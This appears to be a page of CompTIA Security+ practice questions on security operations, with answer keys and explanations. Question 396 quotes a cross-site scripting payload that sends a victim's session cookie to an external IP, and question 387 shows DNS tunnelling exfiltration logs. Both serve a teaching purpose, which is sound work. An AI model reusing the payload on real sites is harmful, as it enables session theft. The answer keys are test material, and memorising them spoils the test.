Examkin

Security Operations

627 questions

All types627Multiple choice320Multiple select139Matching36Ordering132
Question 381Question →

A security technician receives an automated network intrusion detection system (NIDS) alert indicating potential unauthorized data exfiltration from an internal database server to an unknown external IP address. Place the following initial incident response steps in the correct chronological order, starting from initial alert verification to post-incident tuning.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with validating the NIDS alert using raw packet captures, followed by assessing the scope across network endpoints, isolating the compromised server to halt exfiltration, and concluding with signature updates and documentation.
The standard incident triage lifecycle starts with validating the telemetry alert to confirm malicious activity. Next, scoping is conducted to identify all impacted systems. Once scope is established, network containment (isolating the server) stops active data movement. Finally, post-incident activities such as signature updates and documentation ensure long-term mitigation.

Step-by-Step Solution

1
Validate the alert telemetry.
Confirmed whether the NIDS alert is a true positive threat or a false alarm.
Initial triage requires validating event data before taking action to avoid unnecessary operational downtime.
2
Assess incident scope.
Identified all internal hosts participating in suspicious outbound connections.
Scoping ensures that containment efforts address all impacted endpoints rather than just the initial server.
3
Perform network containment.
Isolated the server from the network to block active exfiltration.
Immediate containment stops data loss while preserving the system for forensics.
4
Execute post-incident tuning and documentation.
Updated monitoring rules and logged lessons learned.
Refining NIDS rules strengthens future monitoring and prevents similar attack techniques.

Key Concept

Network Incident Response and Alert Triage Sequencing
Question 382Question →

A network security administrator is deploying 802.1X EAP-TLS network access control across enterprise switches to enforce mutual authentication and dynamic VLAN authorization. Place the operational stages of the EAP-TLS authentication and authorization sequence in the correct chronological order from session initiation to final access enforcement.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct operational sequence begins with identity encapsulation via RADIUS Access-Request, followed by EAP-TLS mutual certificate validation, directory policy authorization evaluation, RADIUS Access-Accept with VSAs return, and final port enforcement by the switch.
In 802.1X network access control, the sequence strictly follows: (1) Identity initiation where EAPoL responses are encapsulated into RADIUS Access-Request messages; (2) EAP-TLS mutual authentication via X.509 certificates; (3) Directory lookup to determine identity privileges; (4) RADIUS Access-Accept transmission containing dynamic authorization parameters (VSAs); and (5) Local port authorization and VLAN/ACL enforcement by the switch.

Step-by-Step Solution

1
Identify the initial protocol exchange between Supplicant, Authenticator, and AAA Server.
The supplicant responds to EAP-Request/Identity with an EAP-Response/Identity, which the switch encapsulates into a RADIUS Access-Request packet.
802.1X uses EAP encapsulation over LAN (EAPoL) between endpoint and switch, converted to RADIUS between switch and AAA server.
2
Determine the authentication mechanism step.
EAP-TLS mutual authentication completes via X.509 certificate validation over a TLS handshake.
EAP-TLS requires both server certificate validation by the client and client certificate validation by the AAA server before granting access.
3
Determine the authorization lookup phase.
The AAA server evaluates identity group memberships and directory policies.
Authentication (verifying who the user/device is) must succeed before authorization policy (determining allowed access level) can be evaluated.
4
Identify the return authorization payload.
The AAA server issues a RADIUS Access-Accept containing VSAs (e.g., RFC 2868 VLAN attributes).
The AAA server communicates policy enforcement parameters back to the network access device using RADIUS attributes.
5
Identify final enforcement at the network layer.
The switch transitions the port state to authorized and applies dynamic VLAN/ACL rules.
The authenticator network switch is responsible for enforcing physical/logical port controls based on the AAA server's directive.

Key Concept

802.1X EAP-TLS AAA Operation and Dynamic Enforcement
Question 383Question →

A Security Operations Center (SOC) configures an automated Security Orchestration, Automation, and Response (SOAR) playbook to address high-severity data exfiltration alerts originating from enterprise database servers. Place the operational playbook steps in the correct execution sequence from initial trigger to incident documentation.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct execution order is: 1) Ingest and parse sensor telemetry, 2) Query CMDB/IAM for asset criticality enrichment, 3) Perform threat intelligence and sandbox validation, 4) Execute conditional EDR host isolation, and 5) Generate the ITSM incident ticket with team escalation.
A SOAR incident response playbook follows a structured lifecycle: Alert Ingestion & Parsing -> Context Enrichment (CMDB/IAM) -> Threat Intelligence Validation -> Conditional Containment (EDR Isolation) -> Ticket Generation & Notification. This sequence minimizes false-positive impact and ensures containment occurs prior to manual analyst handoff.

Step-by-Step Solution

1
Ingest and parse the raw alert telemetry.
Extracted indicators of compromise (IPs, domains, process handles) ready for downstream API calls.
Automation workflows cannot run query functions without extracted parameters from the initial alert trigger.
2
Enrich the event with asset and identity context.
Established server business impact score and assigned owner.
Knowing asset criticality is required before evaluating automated isolation risk logic.
3
Query threat intelligence and submit binaries for sandbox analysis.
Confirmed malicious reputation score for outbound connection targets.
Validation ensures containment triggers only on verified threat indicators rather than false positives.
4
Perform conditional safety check and execute isolation.
Affected database host isolated from network segment via EDR API.
Rapid containment prevents data loss while abiding by predefined high-availability safety checks.
5
Document and escalate in ITSM.
Ticket populated with enriched telemetry logs and on-call analyst notified.
Saves analyst time by delivering fully triaged context and containment status for manual investigation.

Key Concept

SOAR Playbook Execution Sequencing
Question 384Question →

A security analyst is documenting the hardware-based multi-factor authentication (MFA) process using WebAuthn/FIDO2 for corporate cloud applications. Place the operational steps of a successful WebAuthn authentication sequence in the correct chronological order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order begins with the Relying Party generating a unique cryptographic challenge upon user login initiation, sending that challenge to the client browser, performing local user verification on the hardware key to sign the challenge, forwarding the signed assertion payload back to the Relying Party server, and finally verifying the signature using the stored public key to issue an authenticated session.
The WebAuthn authentication flow follows a strict challenge-response protocol sequence: First, the Relying Party (RP) generates a cryptographic challenge upon login attempt. Second, the RP sends this challenge and session parameters to the client browser. Third, the user authenticates locally on the hardware key (via PIN or biometric), which allows the private key to sign the challenge. Fourth, the signed assertion is sent back to the client browser and submitted to the RP server. Finally, the RP server verifies the signature using the stored public key to validate identity.

Step-by-Step Solution

1
Identify the initial trigger and challenge generation.
The Relying Party server generates a random cryptographic challenge when authentication is requested.
WebAuthn authentication is challenge-response based to protect against replay attacks.
2
Trace the challenge delivery to the client.
The server transmits the challenge and RP identity parameters to the browser WebAuthn API.
The client browser acts as the intermediary between the server and the hardware authenticator.
3
Determine the hardware key user verification step.
The user completes biometric or PIN verification on the physical security key, allowing it to sign the challenge with the private key.
Local user interaction is mandatory for FIDO2 token activation.
4
Trace the transmission of the signed response.
The signed assertion is returned to the browser and forwarded to the Relying Party server.
The authenticator does not communicate directly with the server; responses pass through the web browser client.
5
Confirm final server verification and authorization.
The server verifies the cryptographic signature with the user's public key.
Server validation completes the challenge-response cycle and confirms authentic user identity.

Key Concept

FIDO2 / WebAuthn Challenge-Response Authentication Sequence
Question 385Question →

A security operations analyst at a fintech enterprise is investigating an unauthorized privilege escalation event on critical network infrastructure. During the investigation, the analyst correlates RADIUS and TACACS+ AAA logs during the administrative session:

2026-07-27T14:10:02Z RADIUS_SERVER AUTH_ACCEPT User=jdoe IP=198.51.100.45 Group=Engineers VSA_Privilege_Level=1
2026-07-27T14:10:15Z TACACS_SERVER TAC_PLUS_AUTHOR_REQ User=jdoe Service=shell cmd=enable
2026-07-27T14:10:16Z TACACS_SERVER TAC_PLUS_AUTHOR_RESP User=jdoe Status=PASS Priv_Level=15 Rule=Default_Fallback_Admin

Based on the log output, which of the following represents the primary operational root cause of the unauthorized privilege escalation?

Show answer & explanation

Answer: An authorization rule misconfiguration that evaluated a default fallback policy granting full administrative privileges despite low VSA assignments.

Answer

The primary operational root cause is an authorization rule misconfiguration on the TACACS+ server that evaluated a default fallback policy granting privilege level 15 despite the user possessing lower vendor-specific attributes (VSAs).
The correct answer correctly identifies that authentication succeeded at standard privilege levels (Privilege Level 1 via RADIUS VSA), but the TACACS+ server's authorization evaluation hit a misconfigured fallback policy ('Default_Fallback_Admin') that assigned maximum privileges (Privilege Level 15). This highlights a critical operational vulnerability in AAA policy mapping.

Step-by-Step Solution

1
Analyze the RADIUS authentication entry in the log output.
User 'jdoe' authenticates successfully from IP 198.51.100.45 with Vendor-Specific Attribute (VSA) assigning Privilege Level 1.
Initial identity verification (authentication) completes properly with restricted user permissions.
2
Analyze the subsequent TACACS+ authorization request and response logs.
The user requests shell command authorization ('enable'). The TACACS+ server matches 'Rule=Default_Fallback_Admin' and issues Priv_Level=15.
This shows a distinct authorization mismatch where a permissive fallback rule overrode explicit lower privileges.
3
Determine the operational security deficiency.
Distinguish authentication success from administrative authorization misconfiguration.
The system failed to properly map authorization roles to the authenticated VSA constraints, resulting in unauthorized privilege escalation.

Key Concept

AAA Operational Authorization and TACACS+/RADIUS Integration
Estimated Time:2m 0s
Question 386Question →

A Security Operations Center (SOC) team wants to create a workflow that automatically extracts file hashes from suspicious email alerts and queries external threat intelligence platforms. Which key component of a Security Orchestration, Automation, and Response (SOAR) platform enables integration and communication between these disparate security tools?

Show answer & explanation

Answer: API connectors and integration plugins

Answer

API connectors and integration plugins enable SOAR platforms to communicate with external security tools and threat intelligence services.
API connectors and integration plugins provide the technical interfaces necessary for a SOAR solution to send requests and pull data from external platforms, such as threat intelligence feeds, SIEMs, and endpoint management software.

Step-by-Step Solution

1
Identify the primary requirement in the scenario.
The requirement is enabling interoperability and automated communication between distinct security platforms.
SOAR platforms aggregate data and trigger actions across different tools in the security stack.
2
Evaluate the technical mechanism used by SOAR to connect disparate tools.
SOAR uses API connectors and integration modules to send and receive data from external systems.
APIs provide standard protocols for automated data exchange between platforms without human intervention.

Key Concept

SOAR Integration and API Orchestration
Question 387Question →

During a system inspection, a security auditor reviews the following excerpt from an internal DNS server transaction log:

27-Jul-2026 14:02:11.104 queries: info: client @0x7f8a10 192.168.10.45#51204 (a3V4b2ExOTI4M2E4MTI3.exfil.badsite.com): query: a3V4b2ExOTI4M2E4MTI3.exfil.badsite.com IN TXT + (192.168.10.1)
27-Jul-2026 14:02:11.215 queries: info: client @0x7f8a10 192.168.10.45#51205 (bTl4YTE5MjgzYTgxMjg.exfil.badsite.com): query: bTl4YTE5MjgzYTgxMjg.exfil.badsite.com IN TXT + (192.168.10.1)
27-Jul-2026 14:02:11.330 queries: info: client @0x7f8a10 192.168.10.45#51206 (Yzg5YTE5MjgzYTgxMjk.exfil.badsite.com): query: Yzg5YTE5MjgzYTgxMjk.exfil.badsite.com IN TXT + (192.168.10.1)

Based on the observed log pattern, which of the following activities is taking place?

Show answer & explanation

Answer: DNS tunneling utilized for covert data exfiltration

Answer

DNS tunneling utilized for covert data exfiltration
The correct answer identifies DNS tunneling for data exfiltration. The log snippet shows rapidly repeating DNS queries for TXT records containing long, high-entropy, base64-encoded subdomains appended to an external domain. Because standard firewalls allow outbound DNS traffic on UDP port 53, threat actors use DNS queries to encode and exfiltrate sensitive data in small chunks.

Step-by-Step Solution

1
Examine the log query type and payload structure
Identified repeated DNS queries requesting TXT records with long, randomized, base64-encoded strings as subdomains (e.g., a3V4b2ExOTI4M2E4MTI3).
DNS TXT records allow arbitrary text data transport, which attackers abuse to encode and package sensitive payload information.
2
Analyze request frequency and destination host pattern
Observed multiple rapid queries originating from a single internal IP (192.168.10.45) querying unique subdomains under a common root (exfil.badsite.com).
High-frequency queries with unique encoded prefixes directed to an external authoritative name server indicate automated data chunking over DNS protocol.
3
Correlate telemetry indicators with threat behavior
Concluded that the telemetry matches DNS tunneling/exfiltration techniques.
Encoding payload chunks inside DNS hostname lookups bypasses standard perimeter firewalls that permit outbound port 53 traffic.

Key Concept

DNS Log Analysis and DNS Tunneling Detection
Estimated Time:1m 30s
Question 388Question →

An incident response team is investigating a confirmed security incident on a Linux application server hosting an internal logistics portal. Monitoring alerts indicate an unauthorized remote access session is currently active, and the compromised host has begun scanning adjacent internal subnets for lateral movement. According to standard incident response frameworks, which TWO of the following immediate actions should the analyst take during the containment phase?

Select all that apply

Show answer & explanation

Answer: Isolate the compromised server's network segment by updating network security group rules to restrict lateral movement while keeping the system powered on.; Capture a volatile memory snapshot of the system to preserve running processes and active network connection states before taking the host offline.

Answer

The analyst should isolate the server's network segment using security group rules while keeping the machine powered on, and capture a volatile memory snapshot before taking the host offline.
The correct response combines network isolation to halt lateral movement with volatile memory acquisition to preserve ephemeral evidence. Isolating the system via network security groups stops the adversary from reaching adjacent subnets, while taking a memory capture ensures active process memory, network connections, and memory-resident malware artifacts are preserved before host shutdown or remediation.

Step-by-Step Solution

1
Identify the primary objective during the containment phase of incident response.
Containment aims to prevent the spread of the incident (lateral movement) and limit damage without destroying volatile evidence.
Stopping active scanning to adjacent subnets is urgent to safeguard internal enterprise resources.
2
Evaluate containment actions regarding host state and evidence preservation.
Applying network-level isolation via security groups stops lateral network traffic, while capturing RAM preserves volatile evidence prior to any disruptive actions.
Maintaining power while restricting network communications allows memory forensic acquisition without alerting the threat actor or losing RAM contents.
3
Differentiate containment phase actions from eradication, recovery, or misconfigured controls.
Re-imaging systems belongs to the eradication/recovery phase, and altering preventive controls to detective logging reduces defensive capability.
Incident response playbooks mandate executing phases in sequence to ensure root cause determination and full containment before system restoration.

Key Concept

Incident Response Containment Phase and Volatile Evidence Preservation
Question 389Question →

A security team creates an automated Security Orchestration, Automation, and Response (SOAR) playbook to handle alerts generated when a suspicious email attachment is reported. Place the following automated playbook steps in the correct chronological order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct chronological order of the SOAR playbook steps is: 1) Ingest alert payload from email security gateway via webhook, 2) Query external threat intelligence service to analyze file hash, 3) Send API command to EDR agents to quarantine malicious file, and 4) Update ITSM ticket with findings and resolve case.
Standard SOAR playbooks follow a structured sequence: initial ingestion of alert data triggers the playbook, threat intelligence enrichment evaluates indicators of compromise, automated containment tools neutralize confirmed threats, and ticketing integrations record final documentation.

Step-by-Step Solution

1
Ingest the alert trigger
The SOAR engine receives event data from the email security gateway.
Playbooks require initial alert data ingestion before any actions or analysis can be performed.
2
Perform threat enrichment
File hashes are evaluated against external threat intelligence sources.
Enrichment provides the verification needed to determine if response actions are required.
3
Execute automated response
The EDR platform isolates and quarantines the file across endpoints.
Mitigation steps are executed automatically based on the confirmed threat intelligence verdict.
4
Document and close case
The ITSM ticketing platform receives full incident details and case resolution status.
Final audit logging and ticket updates occur after all operational containment tasks are complete.

Key Concept

SOAR Playbook Lifecycle (Ingest -> Enrich -> Contain -> Document)
Question 390Question →

A Security Operations Center (SOC) analyst receives a high-priority alert indicating potential encrypted command-and-control (C2) beaconing originating from a domain controller. In what order should the analyst perform the following network security monitoring and triage steps to properly validate, investigate, and contain the incident?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with validating the NIDS alert against NetFlow and DNS records, followed by identifying the specific process via endpoint telemetry, isolating the host to prevent lateral movement, and finally enforcing perimeter blocking and DNS sinkholing.
The incident handling lifecycle requires starting with verification (correlating NIDS, NetFlow, and DNS logs), followed by context gathering (EDR process mapping), local containment (host network isolation to halt lateral spread while keeping power on), and global containment (perimeter firewall blocks and DNS sinkholing).

Step-by-Step Solution

1
Correlate network telemetry (NIDS, NetFlow, DNS).
Validates the alert authenticity and confirms persistent beaconing behavior.
Security monitoring protocols mandate verifying alerts against baseline NetFlow and DNS logs to eliminate false positives before taking invasive actions.
2
Inspect host endpoint logs (EDR process correlation).
Identifies the malicious process ID and executable tied to the network connection.
Network alerts identify IP/port pairings, but pinpointing the malicious actor on the system requires matching sockets to host processes.
3
Execute targeted host containment (network isolation).
Prevents lateral movement while keeping the system powered for forensic memory capture.
Isolating the compromised domain controller prevents adversaries from moving laterally to other critical assets.
4
Implement enterprise perimeter indicators of compromise (IoC) block rules.
Shields all other enterprise hosts from communicating with the external C2 infrastructure.
Broad perimeter blocking and DNS sinkholing ensure enterprise-wide containment after host-level containment is established.

Key Concept

Incident Response Lifecycle for Network Security Monitoring
Estimated Time:3m 0s
Question 391Question →

An enterprise integrates a Security Orchestration, Automation, and Response (SOAR) platform to process phishing reports. The automated playbook extracts embedded URLs, checks them against threat intelligence feeds, and upon finding a positive match, executes an automated script that revokes the compromised user's directory account and isolates their host machine. During a routine business operation, a false-positive threat feed match triggers the playbook, causing the domain administrator account to be automatically disabled and isolating a primary domain controller. Which of the following modifications to the SOAR playbook logic best mitigates the risk of operational disruption while preserving automated triage efficiency?

Show answer & explanation

Answer: Insert a conditional decision node requiring Human-in-the-Loop (HITL) approval prior to executing high-impact containment actions on identified critical infrastructure or privileged accounts.

Answer

Inserting a conditional decision node requiring Human-in-the-Loop approval prior to executing high-impact containment actions on identified critical infrastructure or privileged accounts.
The correct option addresses the root cause of automated operational failure by introducing a Human-in-the-Loop (HITL) approval step for critical systems and privileged accounts. SOAR playbooks should automate low-risk investigation and triage tasks automatically, but high-impact containment actions against critical infrastructure (like domain controllers) must incorporate analyst authorization to prevent business disruption caused by false positives.

Step-by-Step Solution

1
Analyze the incident root cause
Unrestricted automated containment scripts disabled a critical asset (domain controller / admin account) based on a false-positive trigger.
Fully automated containment without asset-level safeguards creates significant operational exposure for enterprise infrastructure.
2
Evaluate SOAR orchestration governance controls
High-impact containment tasks (such as account revocation or server isolation) on tier-0 assets require approval gates.
Human-in-the-Loop (HITL) steps allow automated enrichment and triage to proceed rapidly while maintaining human oversight for critical disruption risks.
3
Select the optimal playbook design modification
Implement conditional branching that checks asset criticality tags and requires analyst sign-off before executing disruptive containment against core systems.
This preserves the speed of automated investigation while protecting organizational resilience.

Key Concept

SOAR Playbook Governance and Human-in-the-Loop (HITL) Safeguards
Question 392Question →

A security analyst is preparing to create a bit-stream disk image from a physical hard drive seized during an insider threat investigation. Before connecting the target drive to the forensic workstation for image capture, which of the following controls should the analyst implement FIRST to protect the integrity of the original evidence?

Show answer & explanation

Answer: Connect a physical hardware write-blocker between the seized drive and the acquisition workstation

Answer

The analyst should connect a physical hardware write-blocker between the seized drive and the acquisition workstation.
Connecting a physical hardware write-blocker ensures that all write requests issued by the workstation's operating system are intercepted and dropped before reaching the evidence drive. This guarantees that the original evidence remains completely unaltered during bit-stream image acquisition.

Step-by-Step Solution

1
Identify the primary threat to physical evidence integrity during forensic image acquisition.
Standard operating systems automatically mount drives and write metadata (such as volume flags or access timestamps) when a drive is attached.
Preventing any write commands from reaching the original source media is required to preserve evidence admissibility.
2
Select the appropriate forensic control designed to intercept host write signals.
A hardware write-blocker blocks write commands at the controller layer while allowing read commands necessary for imaging.
Hardware write-blockers guarantee read-only access regardless of host OS behavior.
3
Begin bit-stream forensic imaging and hash generation after write-blocking is confirmed.
A true bit-by-bit copy is produced with matching source and target cryptographic hashes.
Establishes a verifiable chain of custody and maintains evidence integrity.

Key Concept

Use of Hardware Write-Blockers for Forensic Acquisition Integrity
Question 393Question →

Match each vulnerability scanning approach to its corresponding operational characteristic or primary benefit.

Click a left item, then click its matching right item

Items

Credentialed Scan
Non-Credentialed Scan
Passive Scan
Agent-Based Scan

Matches

Show answer & explanation

Answer

Credentialed Scan pairs with internal software inventory and patch details; Non-Credentialed Scan pairs with simulating an external attacker's perspective; Passive Scan pairs with silently monitoring network traffic without probes; Agent-Based Scan pairs with assessing off-network endpoints continuously.
Vulnerability assessment modalities differ fundamentally by access rights, deployment model, and network footprint: credentialed scans perform local patch audits, non-credentialed scans map external surface vulnerabilities, passive scans monitor packet headers without sending probes, and agent-based scans gather host posture locally on mobile devices.

Step-by-Step Solution

1
Analyze host authentication privileges vs network probing.
Identify that authenticating to a host provides deep local configuration data (Credentialed), whereas unauthenticated network discovery shows external exposure (Non-Credentialed).
Privilege level dictates visibility into internal system patches versus network perimeter posture.
2
Analyze network traffic impact and agent deployment mechanics.
Determine that packet sniffer-style assessment creates zero active traffic (Passive), while locally installed software reports posture regardless of network location (Agent-Based).
Scanning architecture determines traffic overhead and visibility into remote or fragile assets.

Key Concept

Vulnerability Scanning Types and Deployment Methodologies
Question 394Question →

A security administrator is establishing a baseline security workflow to ensure that all newly deployed workstations meet organizational security standards and remain protected against known software flaws. Which of the following operational practices should the administrator implement to maintain system integrity and compliance? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Establishing standardized configuration baselines across all workstation images prior to deployment; Implementing an automated patch management process to deploy verified vendor updates regularly

Answer

The administrator should establish standardized configuration baselines across workstation images and implement an automated patch management process.
Establishing secure configuration baselines ensures consistent secure state defaults upon deployment, while implementing automated patch management maintains system security by applying vendor updates to resolve software flaws continuous across the lifecycle.

Step-by-Step Solution

1
Identify baseline configuration needs
Creating initial configuration baselines ensures all workstations start in a secure, uniform state.
Prevents configuration drift and default misconfigurations across newly deployed systems.
2
Implement centralized automated patching
Ongoing automated patching updates operating systems and applications with the latest security fixes.
Reduces security risks associated with known unpatched vulnerabilities over time.

Key Concept

Patch and Configuration Management
Estimated Time:1m 0s
Question 395Question →

A Security Operations Center (SOC) team is designing an automated Security Orchestration, Automation, and Response (SOAR) playbook to mitigate high-volume brute-force authentication attacks against a web portal. The security team must ensure rapid response while avoiding operational self-denial of service (DoS) against critical enterprise infrastructure or legitimate traffic. Which of the following playbook design strategies best achieves automated containment while minimizing operational risk?

Show answer & explanation

Answer: Automatically append external source IP addresses exceeding the failed login threshold to a temporary perimeter firewall blocklist while excluding trusted enterprise IP ranges.

Answer

Automatically appending external source IP addresses exceeding the failed login threshold to a temporary perimeter firewall blocklist while excluding trusted enterprise IP ranges best balances rapid response with operational safety.
The option advocating temporary firewall blocklisting of external source IPs with trusted range exclusions represents effective SOAR playbook design. SOAR automation speeds up response times during brute-force attacks, while inclusion of temporary blocks and whitelist logic ensures operational continuity and guards against self-inflicted outages.

Step-by-Step Solution

1
Analyze the threat vector and operational requirements.
Identified high-volume brute-force attacks needing automated containment that stops malicious traffic without disrupting legitimate enterprise services.
SOAR playbooks must balance automated speed with risk management to avoid unexpected outages of critical business systems.
2
Evaluate containment actions against operational safety controls.
Enforcing temporary IP blocks on malicious external sources while incorporating allowlists for internal/trusted infrastructure prevents self-inflicted denial of service.
Safeguarding critical assets and enterprise egress ranges ensures that automated playbooks do not inadvertently isolate core infrastructure.

Key Concept

SOAR Playbook Containment Logic and Risk Mitigation
Estimated Time:1m 30s
Question 396Question →

A Security Operations Center (SOC) analyst is reviewing network monitoring telemetry and alert logs following an automated perimeter trigger. NetFlow records display an internal workstation (10.1.5.82) transferring 18 GB of outbound data over TCP port 443 to an unknown external destination (198.51.100.77) during off-hours. A deep packet inspection alert from the Network Intrusion Detection System (NIDS) flags the session payload format as encapsulated SSH rather than standard TLS. Additionally, an associated internal web application log displays the following incoming HTTP GET request parameter: `GET /profile?user=<script>window.location='http://198.51.100.77/log?c='+document.cookie</script> HTTP/1.1`. Which TWO of the following conclusions and monitoring actions are most accurate based on this evidence?

Select all that apply

Show answer & explanation

Answer: The web application telemetry indicates a Cross-Site Scripting (XSS) attack was leveraged to hijack session tokens.; Update perimeter NIPS rules to perform application-layer payload decoding to detect and prevent unauthorized protocol tunneling over standard ports.

Answer

The telemetry demonstrates a Cross-Site Scripting (XSS) attack used for session hijacking, and the appropriate monitoring control is configuring NIPS rules for application-layer payload decoding to detect protocol tunneling.
The incoming GET request parameter contains JavaScript code `<script>window.location=...</script>` designed to steal administrative session cookies via client-side execution, which is the definition of Cross-Site Scripting (XSS). Furthermore, detecting SSH disguised as HTTPS over port 443 requires network intrusion prevention systems (NIPS) equipped with application-layer payload decoding and deep packet inspection to recognize protocol anomalies and enforce blocking.

Step-by-Step Solution

1
Analyze the web application log payload
Identified client-side JavaScript (<script> tags) attempting to steal session cookies, confirming a Cross-Site Scripting (XSS) attack rather than a SQL injection.
Script tags operating on DOM objects indicate client-side code execution.
2
Analyze NetFlow telemetry and NIDS alert data
Confirmed SSH protocol encapsulation over TCP port 443 carrying large data transfers (18 GB).
Attackers disguise SSH traffic over HTTPS (port 443) to evade basic port-based filtering.
3
Determine the appropriate network security monitoring response
Deploy NIPS signatures that inspect application-layer payloads and enforce protocol compliance on port 443.
Deep packet inspection (DPI) prevents unauthorized tunneling by validating that port 443 traffic conforms to legitimate TLS handshakes.

Key Concept

Network Security Monitoring, Protocol Tunneling Detection, and Web Attack Analysis
Question 397Question →

A Security Operations Center (SOC) is designing a high-velocity Security Orchestration, Automation, and Response (SOAR) playbook to automatically mitigate risks when an active cloud API access key is detected in a public repository leak. To maintain service availability while ensuring rapid threat containment and contextual enrichment, which of the following response actions should be executed as automated steps without requiring manual human approval? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deactivating the specific exposed API access key via automated integration calls to the Cloud Service Provider management API; Querying threat intelligence API endpoints to append risk scores and context for originating IP addresses directly into the incident ticket

Answer

The correct response actions are deactivating the specific exposed API access key via Cloud Service Provider API integration and querying threat intelligence API endpoints to append risk context to the incident ticket.
Deactivating the specific exposed API key directly addresses the compromised secret at the management plane without causing unintended outages to compute resources. Querying threat intelligence sources to enrich incident tickets is a standard automated SOAR practice that increases analyst velocity without operational risk.

Step-by-Step Solution

1
Evaluate containment actions for operational risk vs. threat mitigation
Deactivating the compromised API key via CSP integration neutralizes the vector immediately without shutting down host servers or network workloads.
Targeted credential disabling isolates the attack vector safely without risking collateral downtime.
2
Identify non-disruptive enrichment tasks suitable for full automation
Automating threat intelligence lookups and appending IP reputation scores to the alert ticket provides SOC analysts with instant context.
Enrichment activities carry zero risk of operational disruption and dramatically reduce mean time to respond (MTTR).
3
Analyze distractor actions for operational logic errors and control category confusion
Hard rebooting production instances causes unacceptable outages. Modifying authorization roles confuses permission assignment with authentication verification.
Automated playbooks must avoid disruptive system-wide containment actions without human-in-the-loop approval.

Key Concept

SOAR Playbook Automated Actions vs. Human-in-the-Loop Safeguards
Question 398Question →

A security team managing an isolated air-gapped operational technology (OT) network discovers widespread configuration drift across engineering workstations during a compliance audit. Simultaneously, a critical zero-day vulnerability advisory requires immediate software updates on these systems. Which of the following procedures should the security team implement to remediate the configuration drift while safely deploying emergency security patches? (Select TWO).

Select all that apply

Show answer & explanation

Answer: Establish a validated baseline using configuration audit scripts in an isolated staging environment before applying signed offline patch packages via inspected media.; Conduct a formal change advisory board (CAB) review to approve emergency deployment windows and verified system rollback points prior to production deployment.

Answer

The security team should establish a validated configuration baseline in an isolated staging environment using signed offline patch packages, and conduct a formal change advisory board review with defined rollback points before updating production systems.
Remediating configuration drift and vulnerabilities in air-gapped environments requires staging offline, cryptographically signed updates to maintain network isolation, alongside rigorous change control processes including rollback planning to protect operational stability.

Step-by-Step Solution

1
Evaluate patch deployment methods compatible with air-gapped security boundaries.
Identify that offline, cryptographically signed patch packages tested on staging environments preserve network isolation while remediating vulnerabilities.
Direct internet or cloud connections undermine the security posture of air-gapped industrial environments.
2
Integrate emergency remediation with formal change management processes.
Obtain Change Advisory Board approval and verify restore/rollback capabilities prior to modifying production configurations.
Operational technology environments require strict change governance to prevent system instability during emergency patch deployment.
3
Reject ineffective compensating controls and unauthorized architecture changes.
Discard options suggesting temporary network bridging or using IPS rules as permanent replacements for OS software patches.
Compensating controls do not eliminate underlying software flaws or baseline drift, and bridging networks violates isolation requirements.

Key Concept

Air-Gapped Patch Management and Configuration Baseline Enforcement
Question 399Question →

A financial systems workstation triggers a high-fidelity telemetry alert on an Endpoint Detection and Response (EDR) dashboard when a suspicious process attempts code injection into `explorer.exe` to establish a reverse connection. Which of the following initial actions should the incident response team perform using the EDR platform? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Apply host-level network isolation to the endpoint using the agent software to terminate active command-and-control channels while retaining management connectivity.; Initiate a volatile memory capture directly through the agent console before altering host process state.

Answer

The incident response team should apply host-level network isolation using the EDR agent software and initiate a volatile memory capture prior to altering host process states.
Endpoint Detection and Response (EDR) solutions provide granular control directly on target hosts. Applying host network isolation limits malicious lateral movement and C2 traffic while preserving the administrator's remote console access. Furthermore, executing a remote RAM capture prior to process containment safeguards volatile evidence necessary for root-cause memory forensics.

Step-by-Step Solution

1
Isolate the compromised host via the EDR platform.
Network communication to external malicious command-and-control infrastructure is blocked immediately, while EDR console connectivity remains active.
Containment must be performed immediately at the endpoint layer to prevent lateral movement or data exfiltration without losing remote management capability.
2
Trigger a remote volatile RAM capture through the EDR agent.
An uncorrupted image of volatile system memory containing injected code artifacts is securely preserved.
Process memory contains transient evidence that would be permanently lost if processes are terminated or the host is restarted.

Key Concept

EDR Host Containment and Volatile Telemetry Collection
Estimated Time:1m 30s
Question 400Question →

A security engineer at a financial institution is reviewing a post-incident report for a critical web application server that was compromised. The investigation revealed that during an off-hours emergency software update, a vendor-supplied deployment script overwritten local system security parameters, reverting the server to an unhardened default baseline. Although the application vulnerability itself was successfully patched, administrative services were inadvertently exposed to the public network. Which of the following operational controls would best prevent this type of configuration drift during future patch deployments?

Show answer & explanation

Answer: Enforce continuous automated configuration management using declarative policy manifests to validate and remediate host state post-deployment.

Answer

Enforcing continuous automated configuration management using declarative policy manifests to validate and remediate host state post-deployment is the correct action.
Automated configuration management tools operating with declarative state definitions continuously audit managed endpoints against designated security baselines. If a patch deployment script alters configuration parameters, the configuration management agent detects the variance (drift) and automatically enforces the mandated secure baseline.

Step-by-Step Solution

1
Analyze the incident root cause.
The compromise resulted from configuration drift, specifically unhardened default settings being restored by a patch installation script.
Identifying that the failure was a configuration drift issue narrows down the required solution to baseline maintenance controls rather than patch acquisition or perimeter filtering.
2
Evaluate control options against configuration drift prevention.
Automated configuration management tools (such as Ansible, Puppet, or Chef) enforce declarative baselines and correct unauthorized modifications automatically.
Declarative tools ensure that host settings match the defined security standard regardless of changes made by intermediate patch scripts.

Key Concept

Configuration Baseline Enforcement and Drift Detection
PreviousPage 20 / 32Next
Security Operations Practice Questions — CompTIA Security+ — Page 20 | Examkin